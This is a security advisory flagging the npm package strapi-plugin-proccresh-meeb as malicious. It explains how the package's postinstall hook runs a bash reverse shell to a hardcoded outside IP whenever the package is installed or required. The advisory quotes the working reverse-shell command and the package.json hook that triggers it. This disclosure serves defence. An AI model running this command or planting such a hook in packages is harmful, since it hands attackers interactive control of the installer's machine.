MAL-2026-16182
Malicious code in strapi-plugin-proccresh-meeb (npm)
Details
--- _-= Per source details. Do not edit below this line.=-_
## Source: amazon-inspector (c65ca459d74b0be577eb0a1476ec8b9de089a524019ea9ef0061c5ee42e00729) strapi-plugin-proccresh-meeb ships a postinstall dropper that opens a bash reverse shell to the hardcoded IP 14.225.210.85 on TCP/443 at npm install time. package.json declares `"scripts": { "postinstall": "node postinstall.js" }` and `"main": "postinstall.js"`, so both `npm install` and any `require()` of the package unconditionally execute `postinstall.js`, which runs `bash -c 'bash -i > /dev/tcp/14.225.210.85/443 0>&1'`, connecting the installer's shell stdio to the attacker-controlled host. The package's own description self-identifies as `Reverse shell payload for Strapi`. Result is full interactive remote code execution on the installer's machine with no user interaction.
Are you affected?
Enter the version of the package you're using.
Affected packages
No fixed version published yet for strapi-plugin-proccresh-meeb (npm). Pin to a known-safe version or switch to an alternative.